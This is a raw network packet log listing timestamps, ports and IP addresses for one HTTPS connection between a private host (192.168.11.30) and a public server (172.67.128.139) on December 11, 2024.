Dec 11, 2024 12:16:07.719172001 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.719461918 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.720741034 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.720845938 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.720969915 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.720969915 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.720983028 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.721076965 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.723217010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.723234892 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.723378897 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.723391056 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.723562002 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.723727942 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.725019932 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.725035906 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.725260973 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.725271940 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.725368977 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.726994991 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.727016926 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.727133036 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.727144957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.727205038 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.727297068 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.729130983 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.729146957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.729307890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.729445934 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.729454041 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.730851889 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.730870962 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.731075048 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.731086969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.731162071 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.731271982 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.733176947 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.733192921 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.733335972 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.733413935 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.733422041 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.733581066 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.735143900 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.735163927 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.735342026 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.735352993 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.735429049 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.735533953 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.737107992 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.737123966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.737263918 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.737339973 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.737346888 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.737548113 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.739288092 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.739304066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.739447117 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.739521980 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.739530087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.739628077 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.740978003 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.740997076 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.741142988 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.741152048 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.741250992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.741333961 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.743345976 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.743361950 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.743575096 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.743586063 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.743685007 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.745512009 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.745529890 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.745706081 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.745716095 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.745812893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.747468948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.747483969 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.747675896 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.747687101 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.747778893 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.747854948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.749125957 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.749145031 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.749279022 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.749289036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.749377966 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.749562979 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.751885891 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.751902103 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.752042055 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.752119064 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.752127886 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.752302885 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.814649105 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.814670086 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.814903021 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.814920902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.814970016 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.815162897 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.816457987 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.816478968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.816766024 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.816785097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.817090988 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.818413973 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.818435907 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.818608046 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.818665028 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.818682909 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.818808079 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.818975925 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.820549011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.820569038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.820791960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.820791960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.820806980 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.820816994 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.821095943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.822590113 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.822606087 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.822896004 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.822906971 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.823259115 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.824289083 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.824306011 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.824636936 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.824649096 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.824702978 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.824831963 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.827125072 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.827142000 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.827369928 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.827382088 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.827449083 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.827652931 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.829049110 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.829066992 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.829232931 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.829407930 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.829418898 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.829694033 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.830595016 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.830610991 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.830774069 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.830851078 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.830851078 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.830861092 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.831096888 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.833348036 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.833364964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.833738089 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.833750010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.833933115 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.835263968 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.835280895 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.835520029 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.835531950 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.835622072 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.835670948 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.837205887 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.837222099 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.837492943 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.837505102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.837676048 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.839106083 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.839123964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.839340925 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.839353085 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.839406013 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.839622974 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.841511965 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.841527939 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.841666937 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.841742039 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.841749907 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.841893911 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.841991901 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.843420029 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.843436003 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.843723059 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.843735933 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.844019890 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.845340967 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.845356941 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.845602036 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.845613956 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.845827103 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.847286940 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.847302914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.847568989 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.847582102 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.847672939 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.847750902 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.849189997 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.849208117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.849410057 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.849420071 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.849519968 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.849708080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.851538897 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.851556063 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.851716995 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.851792097 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.851799965 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.851885080 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.852041960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.853534937 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.853553057 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.853832960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.854003906 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.854012966 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.854212046 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.855448961 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.855464935 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.855685949 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.855696917 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.855798006 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.855915070 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.857649088 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.857665062 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.857886076 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.857896090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.858088970 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.858170033 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.859298944 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.859314919 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.859615088 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.859626055 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.859862089 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.861656904 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.861673117 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.861835957 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.861845970 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.861912966 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.861958981 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.862019062 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.863603115 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.863631010 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.864183903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.864183903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.864183903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.864183903 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.864193916 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.864465952 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.865514040 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.865534067 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.865859985 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.865869045 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.866080999 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.867624044 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.867652893 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.867830992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.867830992 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.867854118 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.867863894 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.868062019 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.868149042 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.869975090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.870002031 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.870245934 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.870266914 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.870316029 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.871299982 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.871321917 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.871702909 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.871721983 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.873346090 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.873372078 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.873523951 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.873542070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.873600960 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.873678923 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.875730991 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.875761986 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.875919104 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.875919104 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.875938892 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.875952005 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.876029968 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.877466917 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.877485037 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.877686024 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.877705097 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.877774000 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.877904892 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.879261971 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.879282951 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.879491091 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.879508972 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.879591942 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.881419897 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.881442070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.881568909 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.881587029 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.881598949 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.881742001 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.883224964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.883241892 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.883466959 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.883485079 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.883497000 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.883702993 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.883771896 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.884968042 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.884987116 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.885117054 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.885143042 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.885332108 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.885349989 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.886749983 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.886770964 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.886926889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.886926889 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.886945963 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.887053967 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.887131929 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.889214993 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.889233112 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.889446020 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.889463902 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.889476061 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.889545918 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.890753031 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.890773058 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.890903950 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.890922070 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.890933990 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.890933990 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.891021967 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.891113997 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.892605066 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.892622948 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.892852068 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.892932892 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.893127918 CET	49840	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:16:07.893146038 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.894323111 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.894350052 CET	443	49840	172.67.128.139	192.168.11.30
Dec 11, 2024 12:16:07.894494057 CET	49840	443	192.168.11.30	172.67.128.139
